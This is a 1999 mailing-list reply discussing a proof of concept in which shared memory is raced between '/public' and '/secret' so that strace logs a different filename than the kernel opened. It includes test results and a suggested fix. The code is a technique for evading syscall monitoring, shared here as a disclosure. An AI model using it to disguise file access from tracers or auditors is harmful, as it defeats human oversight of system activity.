Re: strace can lie

[v2 () MOONTV FI (Sampo Savolainen)]

On Sat, 25 Dec 1999, Pavel Machek wrote:

> void
> main(void)
> {
>   char *c = 0x94000000;
>   open( "/tmp/delme", O_RDWR );
>   mmap( c, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, 3, 0);
>   *c = 0;
>   if (fork()) {
>     while(1) {
>       strcpy( c, "/public" );
>       strcpy( c, "/secret" );
>     }
>   } else
>     while (1)
>       open( c, 0 );
> }

> [pid   224] open("/public", O_RDONLY)  = 718
> [pid   224] open("/secret", O_RDONLY)  = 719
> [pid   224] open("/public", O_RDONLY)  = 720

I tried this with Linux 2.3.20, it worked fine:

cristobal:~# ls -l /secret /public
-rw-rw-r--   1 root     root            7 Dec 28 13:17 /public
--w--w----   1 root     root            7 Dec 28 13:17 /secret

and the strace log:

[pid 10999] open("/public", O_RDONLY)   = 192
[pid 10999] open("/secret", O_RDONLY)   = -1 EACCES (Permission denied)

..most of the time.

from 1270 tried opens, 11 tries had the wrong filename read from memory.

Does the kernel save the filename anywhere in the filedescriptor arrays?
If it does, then strace could be easily modified to read the filename from
the kernel, not from the programs userspace.

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